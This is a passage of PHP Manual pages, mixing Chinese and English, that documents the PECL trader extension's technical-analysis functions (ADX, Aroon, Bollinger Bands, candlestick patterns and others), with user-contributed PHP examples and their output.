$result = trader_add([1,2,3,4,5], [6,7,8,9,10]);
var_dump($result);
/*
array(5) {
  [0]=>
  float(7) // 1 + 6
  [1]=>
  float(9) // 2 + 7
  [2]=>
  float(11) // 3 + 8
  [3]=>
  float(13) // 4 + 9
  [4]=>
  float(15) // 5 + 10
}
*/


Chaikin A/D Oscillator

  • ? trader_add
  • trader_adx ?
  • PHP Manual
  • Trader 函数
  • Chaikin A/D Oscillator

trader_adosc

(PECL trader >= 0.2.0)

trader_adosc — Chaikin A/D Oscillator

说明

trader_adosc(
array $high,
array $low,
array $close,
array $volume,
int $fastPeriod = ?,
int $slowPeriod = ?
): array

参数

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

volume

成交量，浮点数数组。

fastPeriod

Number of period for the fast MA. Valid range from 2 to 100000.

slowPeriod

Number of period for the slow MA. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 31-Jan-2021 07:54
<?php

$opens = array(135.83, 139.52, 143.43, 143.6);
$highs = array(136.74, 141.99, 144.3, 144.3);
$lows = array(130.21, 136.7, 140.41, 141.37);
$closes = array(131.96, 137.09, 142.06, 143.16);
$volumes = array(177523812.0, 142621128.0, 140843759.0, 98390555.0);
$fast = 2;
$slow = 4;

$Chaikin_AD_Oscillator = trader_adosc($highs , $lows , $closes , $volumes, $fast, $slow);
var_dump($Chaikin_AD_Oscillator);
/*
array(1) {
  [3]=>
  float(-21256590.917)
}
?*/


Average Directional Movement Index

  • ? trader_adosc
  • trader_adxr ?
  • PHP Manual
  • Trader 函数
  • Average Directional Movement Index

trader_adx

(PECL trader >= 0.2.0)

trader_adx — Average Directional Movement Index

说明

trader_adx(
array $high,
array $low,
array $close,
int $timePeriod = ?
): array

参数

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

tl4gvx29ku39 at opayq dot com 11-Mar-2021 03:54
After hours of trial and error, I feel fairly confident the adx function works like many others. Insert a block(s) of ohlc data and set a time period for an output.

For example, I am using 48 30-min blocks of ohlc data (1 day). But I wanted the indicators true to design (adx is usually 14 periods) so I would trim the data to 14 periods in and set timePeriods=14 and get errors. No need to do all that. Put the entire 48 period array(s) in and set the period to 14 (or whatever you like). The output is close to online sources. The function will use the last 14 periods or whatever you set to generate the correct output.

The best/closest I can find for a manual to these functions is located tulipindicators dot org which you can test using excel with a free plugin at tulipcell dot org.

I was able to pull my historical indicator data generated with these functions and was able to recreate the numbers which matched closely to online trading platforms.
geekgirl dot joy at gmail dot com 07-Feb-2021 07:48
<?php
// Per wikipedia ADX is "an indicator of trend strength in a series of prices of a financial instrument."
// The original implementation used 14 days.

$highs = array(118.99, 119.14, 120.5, 115.23, 115.93, 118.829, 116, 112.2, 110.88, 110.19, 112.86, 112.11, 110.25, 112.44);
$lows = array(112.68, 115.26, 112.5, 110, 112.8, 113.61, 112.04, 108.71, 106.09, 103.1, 109.16, 106.77, 105, 107.67);
$closes = array(112.82, 117.32, 113.49, 112, 115.355, 115.54, 112.13, 110.34, 106.84, 110.08, 111.81, 107.12, 108.22, 112.28);

$time_period = floor(count($highs) / 2); // Per Wikipedia on the ADX indicator calculation:
                                         // UpMove = today's high ? yesterday's high
                                         // DownMove = yesterday's low ? today's low
                                         //
                                         // Thence: The maximal length for $time_period
                                         // is: floor(count($the_number_of_samples) / 2);

var_dump(trader_adx($highs, $lows, $closes, $time_period));
/*
array(1) {
  [13]=>
  float(48.909)
}
*/


Average Directional Movement Index Rating

  • ? trader_adx
  • trader_apo ?
  • PHP Manual
  • Trader 函数
  • Average Directional Movement Index Rating

trader_adxr

(PECL trader >= 0.2.0)

trader_adxr — Average Directional Movement Index Rating

说明

trader_adxr(
array $high,
array $low,
array $close,
int $timePeriod = ?
): array

参数

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 07-Feb-2021 09:28
<?php
// ADXR measures the difference in the change of momentum in the ADX.
// The ADXR is equal to the current ADX plus the ADX from n datapoints previous, divided by 2.

$highs = array(118.99, 119.14, 120.5, 115.23, 115.93, 118.829, 116, 112.2, 110.88, 110.19, 112.86, 112.11, 110.25, 112.44);
$lows = array(112.68, 115.26, 112.5, 110, 112.8, 113.61, 112.04, 108.71, 106.09, 103.1, 109.16, 106.77, 105, 107.67);
$closes = array(112.82, 117.32, 113.49, 112, 115.355, 115.54, 112.13, 110.34, 106.84, 110.08, 111.81, 107.12, 108.22, 112.28);

$time_period = floor((count($highs)-2) / 2)-2;

var_dump(trader_adxr($highs, $lows, $closes, $time_period));
/*
array(4) {
  [10]=>
  float(41.004)
  [11]=>
  float(44.783)
  [12]=>
  float(50.257)
  [13]=>
  float(43.597)
}
*/


Absolute Price Oscillator

  • ? trader_adxr
  • trader_aroon ?
  • PHP Manual
  • Trader 函数
  • Absolute Price Oscillator

trader_apo

(PECL trader >= 0.2.0)

trader_apo — Absolute Price Oscillator

说明

trader_apo(
array $real,
int $fastPeriod = ?,
int $slowPeriod = ?,
int $mAType = ?
): array

参数

real

浮点数数组。

fastPeriod

Number of period for the fast MA. Valid range from 2 to 100000.

slowPeriod

Number of period for the slow MA. Valid range from 2 to 100000.

mAType

Type of Moving Average. TRADER_MA_TYPE_* series of constants should be used.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 15-Feb-2021 04:23
<?php
/*
APO crossing above zero is "bullish", crossing below zero is "bearish".
Positive values are "upward movement", Negative values are "downward movement",
*/

$mATypes = array(TRADER_MA_TYPE_SMA,  // Simple Moving Average
                 TRADER_MA_TYPE_EMA,  // Exponential Moving Average
                 TRADER_MA_TYPE_WMA,  // Weighted Moving Average
                 TRADER_MA_TYPE_DEMA, // Double Exponential Moving Average
                 TRADER_MA_TYPE_TEMA, // Triple Exponential Moving Average
                 TRADER_MA_TYPE_TRIMA,// Triangular Moving Average
                 TRADER_MA_TYPE_KAMA, // Kaufman's Adaptive Moving Average
                 TRADER_MA_TYPE_MAMA, // MESA Adaptive Moving Average
                 TRADER_MA_TYPE_T3);  // T3 Moving Average

$fast_period = 12;
$slow_period = 30;

$closes = array(131.96, 137.09, 142.06, 143.16, 142.92, 139.07, 136.87, 132.03, 127.83, 127.14, 128.91, 130.89, 128.8, 128.98, 132.05, 130.92, 126.6, 131.01, 129.41, 132.69, 133.72, 134.87, 136.69, 131.97, 130.96, 131.88, 128.23, 126.655, 128.7, 127.81, 127.88, 121.78, 122.41, 123.24, 121.78, 124.38, 123.75, 122.25, 122.94, 123.08, 122.72, 119.05, 116.59, 116.03, 115.17, 113.85, 117.34, 118.64, 118.03, 119.39, 120.3, 119.26, 119.21, 119.49, 115.97, 116.32, 118.69, 119.03, 114.95, 110.44, 108.77, 108.86, 115.32, 111.2, 116.6, 115.05, 115.04, 115.75, 116.87, 117.51, 115.98, 119.02, 120.71, 121.19, 121.1, 124.4, 116.97, 114.97, 115.08, 113.16, 116.5, 113.02, 116.79, 115.81, 114.09, 114.96, 112.28, 108.22, 107.12, 111.81, 110.08, 106.84, 110.34, 112.13, 115.54, 115.355, 112, 113.49, 117.32, 112.82);

$Absolute_Price_Oscillators = array();

foreach($mATypes as $mA){

    $key = 'sma';
    if($mA == TRADER_MA_TYPE_EMA){$key = 'ema';}
    elseif($mA == TRADER_MA_TYPE_WMA){$key = 'wma';}
    elseif($mA == TRADER_MA_TYPE_DEMA){$key = 'dema';}
    elseif($mA == TRADER_MA_TYPE_TEMA){$key = 'tema';}
    elseif($mA == TRADER_MA_TYPE_TRIMA){$key = 'trima';}
    elseif($mA == TRADER_MA_TYPE_KAMA){$key = 'kama';}
    elseif($mA == TRADER_MA_TYPE_MAMA){$key = 'mama';}
    elseif($mA == TRADER_MA_TYPE_T3){$key = 't3';}

    $Absolute_Price_Oscillators[$key] = trader_apo ($closes, $fast_period, $slow_period, $mA);
}

var_dump($Absolute_Price_Oscillators['sma']);
/*
array(71) {
  [29]=>
  float(-1.264)
  [30]=>
  float(-1.255)
  [31]=>
  float(-1.654)
  [32]=>
  float(-1.942)
  [33]=>
  float(-2.247)
  [34]=>
  float(-2.785)
  [35]=>
  float(-2.927)
  [36]=>
  float(-3.091)
  [37]=>
  float(-3.567)
  [38]=>
  float(-3.845)
  [39]=>
  float(-4.008)
  [40]=>
  float(-4.3)
  [41]=>
  float(-4.635)
  [42]=>
  float(-5.169)
  [43]=>
  float(-5.217)
  [44]=>
  float(-5.257)
  [45]=>
  float(-5.471)
  [46]=>
  float(-5.532)
  [47]=>
  float(-5.598)
  [48]=>
  float(-5.695)
  [49]=>
  float(-5.49)
  [50]=>
  float(-5.263)
  [51]=>
  float(-5.061)
  [52]=>
  float(-4.771)
  [53]=>
  float(-4.318)
  [54]=>
  float(-3.87)
  [55]=>
  float(-3.327)
  [56]=>
  float(-2.716)
  [57]=>
  float(-2.03)
  [58]=>
  float(-1.771)
  [59]=>
  float(-1.875)
  [60]=>
  float(-2.01)
  [61]=>
  float(-2.457)
  [62]=>
  float(-2.636)
  [63]=>
  float(-2.906)
  [64]=>
  float(-2.951)
  [65]=>
  float(-3.01)
  [66]=>
  float(-2.797)
  [67]=>
  float(-2.628)
  [68]=>
  float(-2.577)
  [69]=>
  float(-2.518)
  [70]=>
  float(-2.208)
  [71]=>
  float(-1.492)
  [72]=>
  float(-0.634)
  [73]=>
  float(0.222)
  [74]=>
  float(0.506)
  [75]=>
  float(1.254)
  [76]=>
  float(1.297)
  [77]=>
  float(1.413)
  [78]=>
  float(1.515)
  [79]=>
  float(1.506)
  [80]=>
  float(1.602)
  [81]=>
  float(1.436)
  [82]=>
  float(1.584)
  [83]=>
  float(1.439)
  [84]=>
  float(0.95)
  [85]=>
  float(0.477)
  [86]=>
  float(-0.045)
  [87]=>
  float(-1.033)
  [88]=>
  float(-1.593)
  [89]=>
  float(-1.902)
  [90]=>
  float(-2.362)
  [91]=>
  float(-2.821)
  [92]=>
  float(-3.169)
  [93]=>
  float(-3.274)
  [94]=>
  float(-3.343)
  [95]=>
  float(-3.391)
  [96]=>
  float(-3.464)
  [97]=>
  float(-3.511)
  [98]=>
  float(-3.106)
  [99]=>
  float(-2.566)
}
*/


Aroon

  • ? trader_apo
  • trader_aroonosc ?
  • PHP Manual
  • Trader 函数
  • Aroon

trader_aroon

(PECL trader >= 0.2.0)

trader_aroon — Aroon

说明

trader_aroon(array $high, array $low, int $timePeriod = ?): array

参数

high

高价，浮点数数组。

low

低价，浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 15-Feb-2021 04:44
<?php
/*
The Aroon indicator is used to identify price trend changes as well as the strength of the trend.
*/

$highs = array(118.99, 119.14, 120.5, 115.23, 115.93, 118.829, 116, 112.2, 110.88, 110.19, 112.86, 112.11, 110.25, 112.44);
$lows = array(112.68, 115.26, 112.5, 110, 112.8, 113.61, 112.04, 108.71, 106.09, 103.1, 109.16, 106.77, 105, 107.67);

$time_period = 5;

var_dump(trader_aroon($highs, $lows, $time_period));

/*
array(2) {
  [0]=>
  array(9) {
    [5]=>
    float(60)
    [6]=>
    float(40)
    [7]=>
    float(100)
    [8]=>
    float(100)
    [9]=>
    float(100)
    [10]=>
    float(80)
    [11]=>
    float(60)
    [12]=>
    float(40)
    [13]=>
    float(20)
  }
  [1]=>
  array(9) {
    [5]=>
    float(40)
    [6]=>
    float(20)
    [7]=>
    float(0)
    [8]=>
    float(40)
    [9]=>
    float(20)
    [10]=>
    float(0)
    [11]=>
    float(0)
    [12]=>
    float(60)
    [13]=>
    float(40)
  }
}
*/


Aroon Oscillator

  • ? trader_aroon
  • trader_asin ?
  • PHP Manual
  • Trader 函数
  • Aroon Oscillator

trader_aroonosc

(PECL trader >= 0.2.0)

trader_aroonosc — Aroon Oscillator

说明

trader_aroonosc(array $high, array $low, int $timePeriod = ?): array

参数

high

高价，浮点数数组。

low

低价，浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 15-Feb-2021 04:48
<?php
/*
The Aroon Oscillator uses the Aroon Indicator to gauge the strength of a trend and the likelihood that it will continue.
*/

$highs = array(118.99, 119.14, 120.5, 115.23, 115.93, 118.829, 116, 112.2, 110.88, 110.19, 112.86, 112.11, 110.25, 112.44);
$lows = array(112.68, 115.26, 112.5, 110, 112.8, 113.61, 112.04, 108.71, 106.09, 103.1, 109.16, 106.77, 105, 107.67);

$time_period = 5;

var_dump(trader_aroonosc($highs, $lows, $time_period));
/*
array(9) {
  [5]=>
  float(-20)
  [6]=>
  float(-20)
  [7]=>
  float(-100)
  [8]=>
  float(-60)
  [9]=>
  float(-80)
  [10]=>
  float(-80)
  [11]=>
  float(-60)
  [12]=>
  float(20)
  [13]=>
  float(20)
}
*/


Vector Trigonometric ASin

  • ? trader_aroonosc
  • trader_atan ?
  • PHP Manual
  • Trader 函数
  • Vector Trigonometric ASin

trader_asin

(PECL trader >= 0.2.0)

trader_asin — Vector Trigonometric ASin

说明

trader_asin(array $real): array

Calculates the arc sine for each value in real and returns the resulting array.

参数

real

浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Trigonometric ATan

  • ? trader_asin
  • trader_atr ?
  • PHP Manual
  • Trader 函数
  • Vector Trigonometric ATan

trader_atan

(PECL trader >= 0.2.0)

trader_atan — Vector Trigonometric ATan

说明

trader_atan(array $real): array

Calculates the arc tangent for each value in real and returns the resulting array.

参数

real

浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Average True Range

  • ? trader_atan
  • trader_avgprice ?
  • PHP Manual
  • Trader 函数
  • Average True Range

trader_atr

(PECL trader >= 0.2.0)

trader_atr — Average True Range

说明

trader_atr(
array $high,
array $low,
array $close,
int $timePeriod = ?
): array

参数

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 15-Feb-2021 04:56
<?php
// Average True Range is a volatility indicator and does not indicate trend, only volatility
$highs = array(118.99, 119.14, 120.5, 115.23, 115.93, 118.829, 116, 112.2, 110.88, 110.19, 112.86, 112.11, 110.25, 112.44);
$lows = array(112.68, 115.26, 112.5, 110, 112.8, 113.61, 112.04, 108.71, 106.09, 103.1, 109.16, 106.77, 105, 107.67);
$closes = array(112.82, 117.32, 113.49, 112, 115.355, 115.54, 112.13, 110.34, 106.84, 110.08, 111.81, 107.12, 108.22, 112.28);

$time_period = 5;
var_dump(trader_atr($highs, $lows, $closes, $time_period));
/*
array(9) {
  [5]=>
  float(5.74)
  [6]=>
  float(5.384)
  [7]=>
  float(5.005)
  [8]=>
  float(4.962)
  [9]=>
  float(5.388)
  [10]=>
  float(5.05)
  [11]=>
  float(5.108)
  [12]=>
  float(5.136)
  [13]=>
  float(5.063)
}
*/


Average Price

  • ? trader_atr
  • trader_bbands ?
  • PHP Manual
  • Trader 函数
  • Average Price

trader_avgprice

(PECL trader >= 0.2.0)

trader_avgprice — Average Price

说明

trader_avgprice(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 31-Jan-2021 06:35
<?php
$p =  trader_avgprice([1,2] , [1.2, 3] , [0.99, 2] , [1.2, 2.5]);
var_dump($p);
/*
array(2) {
  [0]=>
  float(1.097) // (1 + 1.2 + 0.99 + 1.2) / 4
  [1]=>
  float(2.375) // (2 + 3 + 2 + 2.5) / 4
}
*/


Bollinger Bands

  • ? trader_avgprice
  • trader_beta ?
  • PHP Manual
  • Trader 函数
  • Bollinger Bands

trader_bbands

(PECL trader >= 0.2.0)

trader_bbands — Bollinger Bands

说明

trader_bbands(
array $real,
int $timePeriod = ?,
float $nbDevUp = ?,
float $nbDevDn = ?,
int $mAType = ?
): array

参数

real

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

nbDevUp

Deviation multiplier for upper band. Valid range from TRADER_REAL_MIN to TRADER_REAL_MAX.

nbDevDn

Deviation multiplier for lower band. Valid range from TRADER_REAL_MIN to TRADER_REAL_MAX.

mAType

Type of Moving Average. TRADER_MA_TYPE_* series of constants should be used.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 17-Feb-2021 08:33
<?php

// According to Wikipedia and the internet:
// Bollinger Bands chart the price and volatility of a financial instrument over time
// and yield an "envelope" minimum and maximum and middle "bands" of moving averages
// which provide a relative definition of high and low market prices
// Prices are "high" at or near the upper band and "low" at or near the lower band.
// Bollinger Bands are considered useful for pattern recognition

$closes = array(112.82, 117.32, 113.49, 112, 115.355, 115.54, 112.13, 110.34, 106.84, 110.08, 111.81, 107.12, 108.22, 112.28);
$time_period = 5;
$upper_deviation_multiplier = 2.0;
$lower_deviation_multiplier = 2.0;

$ma_type = TRADER_MA_TYPE_SMA;  // Simple Moving Average
           //TRADER_MA_TYPE_EMA   - Exponential Moving Average
           //TRADER_MA_TYPE_WMA   - Weighted Moving Average
           //TRADER_MA_TYPE_DEMA  - Double Exponential Moving Average
           //TRADER_MA_TYPE_TEMA  - Triple Exponential Moving Average
           //TRADER_MA_TYPE_TRIMA - Triangular Moving Average
           //TRADER_MA_TYPE_KAMA  - Kaufman's Adaptive Moving Average
           //TRADER_MA_TYPE_MAMA  - MESA Adaptive Moving Average
           //TRADER_MA_TYPE_T3)   - T3 Moving Average

var_dump(trader_bbands($closes, $time_period, $upper_deviation_multiplier, $lower_deviation_multiplier, $ma_type));

// Index 0 is "upper" band.
// Index 1 is "middle" band.
// Index 2 is "lower" band.

/*
array(3) {
  [0]=>
  array(10) {
    [4]=>
    float(118.025)
    [5]=>
    float(118.401)
    [6]=>
    float(116.739)
    [7]=>
    float(117.153)
    [8]=>
    float(118.563)
    [9]=>
    float(116.676)
    [10]=>
    float(113.996)
    [11]=>
    float(113.114)
    [12]=>
    float(112.577)
    [13]=>
    float(113.892)
  }
  [1]=>
  array(10) {
    [4]=>
    float(114.197)
    [5]=>
    float(114.741)
    [6]=>
    float(113.703)
    [7]=>
    float(113.073)
    [8]=>
    float(112.041)
    [9]=>
    float(110.986)
    [10]=>
    float(110.24)
    [11]=>
    float(109.238)
    [12]=>
    float(108.814)
    [13]=>
    float(109.902)
  }
  [2]=>
  array(10) {
    [4]=>
    float(110.369)
    [5]=>
    float(111.081)
    [6]=>
    float(110.667)
    [7]=>
    float(108.993)
    [8]=>
    float(105.519)
    [9]=>
    float(105.296)
    [10]=>
    float(106.484)
    [11]=>
    float(105.362)
    [12]=>
    float(105.051)
    [13]=>
    float(105.912)
  }
}
*/


Beta

  • ? trader_bbands
  • trader_bop ?
  • PHP Manual
  • Trader 函数
  • Beta

trader_beta

(PECL trader >= 0.2.0)

trader_beta — Beta

说明

trader_beta(array $real0, array $real1, int $timePeriod = ?): array

参数

real0

浮点数数组。

real1

浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Balance Of Power

  • ? trader_beta
  • trader_cci ?
  • PHP Manual
  • Trader 函数
  • Balance Of Power

trader_bop

(PECL trader >= 0.2.0)

trader_bop — Balance Of Power

说明

trader_bop(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 31-Jan-2021 07:21
<?php

$opens = array(135.83, 139.52, 143.43, 143.6);
$highs = array(136.74, 141.99, 144.3, 144.3);
$lows = array(130.21, 136.7, 140.41, 141.37);
$closes = array(131.96, 137.09, 142.06, 143.16);

// (Close - Open) / (High - Low)
$Balance_Of_Power = trader_bop($opens, $highs, $lows, $closes);

var_dump($Balance_Of_Power);
/*
array(4) {
  [0]=>
  float(-0.593) // (131.96 - 135.83) / (136.74 - 130.21)
  [1]=>
  float(-0.459) // (137.09 - 139.52) / (141.99 - 136.7)
  [2]=>
  float(-0.352) // (142.06 - 143.43) / (144.3 - 140.41)
  [3]=>
  float(-0.15)  // (143.16 - 143.6) / (144.3 - 141.37)
}
*/


Commodity Channel Index

  • ? trader_bop
  • trader_cdl2crows ?
  • PHP Manual
  • Trader 函数
  • Commodity Channel Index

trader_cci

(PECL trader >= 0.2.0)

trader_cci — Commodity Channel Index

说明

trader_cci(
array $high,
array $low,
array $close,
int $timePeriod = ?
): array

参数

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

timePeriod

Number of period. Valid range from 2 to 100000.

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 03-Mar-2021 07:31
<?php

// The CCI (Commodity Channel Index) is an oscillator that
// relies on historical price momentum to determine if it is "overbought" or "oversold".
// When greater than zero the price is "above" the historic average.
// When less than zero the price is "below" the historic average.
// Investopedia claims:
// "The CCI is an unbounded oscillator, meaning it can go higher or lower indefinitely. For this reason, overbought and oversold levels are typically determined for each individual asset by looking at historical extreme CCI levels where the price reversed from."

$highs = array(118.99, 119.14, 120.5, 115.23, 115.93, 118.829, 116, 112.2, 110.88, 110.19, 112.86, 112.11, 110.25, 112.44);
$lows = array(112.68, 115.26, 112.5, 110, 112.8, 113.61, 112.04, 108.71, 106.09, 103.1, 109.16, 106.77, 105, 107.67);
$closes = array(112.82, 117.32, 113.49, 112, 115.355, 115.54, 112.13, 110.34, 106.84, 110.08, 111.81, 107.12, 108.22, 112.28);

$time_period = 7;

var_dump(trader_cci ($highs, $lows, $closes, $time_period));
/*
array(8) {
  [6]=>
  float(-83.234)
  [7]=>
  float(-137.329)
  [8]=>
  float(-145.78)
  [9]=>
  float(-101.047)
  [10]=>
  float(-9.331)
  [11]=>
  float(-59.339)
  [12]=>
  float(-66.964)
  [13]=>
  float(76.143)
}
*/


Two Crows

  • ? trader_cci
  • trader_cdl3blackcrows ?
  • PHP Manual
  • Trader 函数
  • Two Crows

trader_cdl2crows

(PECL trader >= 0.2.0)

trader_cdl2crows — Two Crows

说明

trader_cdl2crows(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Three Black Crows

  • ? trader_cdl2crows
  • trader_cdl3inside ?
  • PHP Manual
  • Trader 函数
  • Three Black Crows

trader_cdl3blackcrows

(PECL trader >= 0.2.0)

trader_cdl3blackcrows — Three Black Crows

说明

trader_cdl3blackcrows(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Three Inside Up/Down

  • ? trader_cdl3blackcrows
  • trader_cdl3linestrike ?
  • PHP Manual
  • Trader 函数
  • Three Inside Up/Down

trader_cdl3inside

(PECL trader >= 0.2.0)

trader_cdl3inside — Three Inside Up/Down

说明

trader_cdl3inside(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Three-Line Strike

  • ? trader_cdl3inside
  • trader_cdl3outside ?
  • PHP Manual
  • Trader 函数
  • Three-Line Strike

trader_cdl3linestrike

(PECL trader >= 0.2.0)

trader_cdl3linestrike — Three-Line Strike

说明

trader_cdl3linestrike(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Three Outside Up/Down

  • ? trader_cdl3linestrike
  • trader_cdl3starsinsouth ?
  • PHP Manual
  • Trader 函数
  • Three Outside Up/Down

trader_cdl3outside

(PECL trader >= 0.2.0)

trader_cdl3outside — Three Outside Up/Down

说明

trader_cdl3outside(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Three Stars In The South

  • ? trader_cdl3outside
  • trader_cdl3whitesoldiers ?
  • PHP Manual
  • Trader 函数
  • Three Stars In The South

trader_cdl3starsinsouth

(PECL trader >= 0.2.0)

trader_cdl3starsinsouth — Three Stars In The South

说明

trader_cdl3starsinsouth(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Three Advancing White Soldiers

  • ? trader_cdl3starsinsouth
  • trader_cdlabandonedbaby ?
  • PHP Manual
  • Trader 函数
  • Three Advancing White Soldiers

trader_cdl3whitesoldiers

(PECL trader >= 0.2.0)

trader_cdl3whitesoldiers — Three Advancing White Soldiers

说明

trader_cdl3whitesoldiers(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Abandoned Baby

  • ? trader_cdl3whitesoldiers
  • trader_cdladvanceblock ?
  • PHP Manual
  • Trader 函数
  • Abandoned Baby

trader_cdlabandonedbaby

(PECL trader >= 0.2.0)

trader_cdlabandonedbaby — Abandoned Baby

说明

trader_cdlabandonedbaby(
array $open,
array $high,
array $low,
array $close,
float $penetration = ?
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

penetration

一个烛台渗入到另一个烛台的百分比。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Advance Block

  • ? trader_cdlabandonedbaby
  • trader_cdlbelthold ?
  • PHP Manual
  • Trader 函数
  • Advance Block

trader_cdladvanceblock

(PECL trader >= 0.2.0)

trader_cdladvanceblock — Advance Block

说明

trader_cdladvanceblock(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Belt-hold

  • ? trader_cdladvanceblock
  • trader_cdlbreakaway ?
  • PHP Manual
  • Trader 函数
  • Belt-hold

trader_cdlbelthold

(PECL trader >= 0.2.0)

trader_cdlbelthold — Belt-hold

说明

trader_cdlbelthold(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Breakaway

  • ? trader_cdlbelthold
  • trader_cdlclosingmarubozu ?
  • PHP Manual
  • Trader 函数
  • Breakaway

trader_cdlbreakaway

(PECL trader >= 0.2.0)

trader_cdlbreakaway — Breakaway

说明

trader_cdlbreakaway(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Closing Marubozu

  • ? trader_cdlbreakaway
  • trader_cdlconcealbabyswall ?
  • PHP Manual
  • Trader 函数
  • Closing Marubozu

trader_cdlclosingmarubozu

(PECL trader >= 0.2.0)

trader_cdlclosingmarubozu — Closing Marubozu

说明

trader_cdlclosingmarubozu(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Concealing Baby Swallow

  • ? trader_cdlclosingmarubozu
  • trader_cdlcounterattack ?
  • PHP Manual
  • Trader 函数
  • Concealing Baby Swallow

trader_cdlconcealbabyswall

(PECL trader >= 0.2.0)

trader_cdlconcealbabyswall — Concealing Baby Swallow

说明

trader_cdlconcealbabyswall(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

收盘价，浮点数数组。

返回值

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Counterattack

  • ? trader_cdlconcealbabyswall
  • trader_cdldarkcloudcover ?
  • PHP Manual
  • Trader 函数
  • Counterattack

trader_cdlcounterattack

(PECL trader >= 0.2.0)

trader_cdlcounterattack — Counterattack

说明

trader_cdlcounterattack(
array $open,
array $high,
array $low,
array $close
): array

参数

open

开盘价，浮点数数组。

high

高价，浮点数数组。

low

低价，浮点数数组。

close

